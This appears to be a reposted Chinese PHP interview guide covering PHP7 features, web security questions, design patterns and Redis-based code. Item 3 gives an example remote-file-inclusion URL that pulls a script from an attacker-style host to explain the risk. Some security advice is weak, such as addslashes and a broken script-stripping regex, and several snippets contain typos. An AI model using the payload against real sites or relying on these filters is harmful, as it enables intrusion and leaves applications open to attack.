zoukankan      html  css  js  c++  java
  • PHPer面试指南php 篇(二)

    点击上方“码农编程进阶笔记”,选择“关注公众号”

    技术文章第一时间送达!

    1.php7新特性

    • ?? 运算符(NULL 合并运算符)

    • 函数返回值类型声明

    • 标量类型声明

    • use 批量声明

    • define 可以定义常量数组

    • 闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features

    2.php7卓越性能背后的优化

    • 减少内存分配次数

    • 多使用栈内存

    • 缓存数组的hash值

    • 字符串解析成桉树改为宏展开

    • 使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源

    3.include($_GET['p'])的安全隐患

    现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

    4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

    SQL注入:

    • addslashes函数

    • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()

    • PDO预处理 XSS:htmlspecial函数 CSRF:

    • 验证HTTP REFER

    • 使用toke进行验证

    5.接口如何安全访问

    jwt或验证签名

    6.PHP里有哪些设计模式

    • 单例模式

    • 工厂模式

    • 脸面模式(facade)

    • 注册器模式

    • 策略模式

    • 原型模式

    • 装饰器模式 更多的可以看PHP设计模式简介这篇文章

    7.验证ip是否正确

    function check_ip($ip)
    {
        if (!filter_var($ip, FILTER_VALIDATE_IP)) {
        return false;
        } else {
            return true;
        }
    }

    8.验证日期是否合理

    function check_datetime($datetime)
    {
        if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
            return true;
        } else {
            return false;
        }
    }

    9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

    $text = '<script>alert('XSS')</script>';
    $pattern = '<script.*>.*<\/script>/i';
    $text = preg_replace($pattern, '', $text);

    10.下单后30分钟未支付取消订单

    第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

    11.设计一个秒杀系统

    思路:用redis的队列

    $ttl = 4;
    $random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);
    
    $lock = fasle;
    while (!$lock) {
        $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
    }
    
    if ($redis->get('goods.num') <= 0) {
        echo ("秒杀已经结束");
        //删除锁
        if ($redis->get('lock') == $random) {
            $redis->del('lock');
        }
        return false;
    }
    
    $redis->decr('goods.num');
    echo ("秒杀成功");
    //删除锁
    if ($redis->get('lock') == $random) {
        $redis->del('lock');
    }
    return true;

    12.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

    //ip2long,把所有城市的最小和最大Ip录进去
    $redis_key = 'ip';
    $redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
    $resid->zAdd($redis_key, 30, 'bj');//最大IP
    
    function get_ip_city($ip_address)
    {
        $ip = ip2long($ip_address);
    
        $redis_key = 'ip';
        $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
        if ($city) {
            if (strpos($city[0], "#") === 0) {
                echo '城市不存在!';
            } else {
                echo '城市是' . $city[0];
            }
        } else {
            echo '城市不存在!';
        }
    }

    13.网页/应用访问慢突然变慢,如何定位问题

    1. top、iostat查看cpu、内存及io占用情况

    2. 内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等

    3. 链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的

    4. 程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的

    5. 其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢

    6. 是否被攻击了 查看服务器是否被DDos了等等

    7. 硬件故障 这个一般直接服务器就挂了,而不是访问慢

    14.如何设计/优化一个访问量比较大的博客/论坛

    • 减少http请求(比如使用雪碧图)

    • 优化数据库(范式、SQL语句、索引、配置、读写分离)

    • 缓存使用(Memcache、Redis)

    • 负载均衡

    • 动态内容静态化+CDN

    • 禁止外部盗链(refer、图片添加水印)

    • 控制大文件下载

    • 使用集群

    15.如何搭建Composer私有库

    使用satis搭建
    相关文章介绍:使用satis搭建Composer私有库

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    相关教程:PHP开发高可用高安全App

    获取方式:关注公众号回复“ PHP开发App ”关键字,即可免费获得

                   

  • 相关阅读:
    无限维
    黎曼流形
    why we need virtual key word
    TOJ 4119 Split Equally
    TOJ 4003 Next Permutation
    TOJ 4002 Palindrome Generator
    TOJ 2749 Absent Substrings
    TOJ 2641 Gene
    TOJ 2861 Octal Fractions
    TOJ 4394 Rebuild Road
  • 原文地址:https://www.cnblogs.com/lxwphp/p/15453090.html
Copyright © 2011-2022 走看看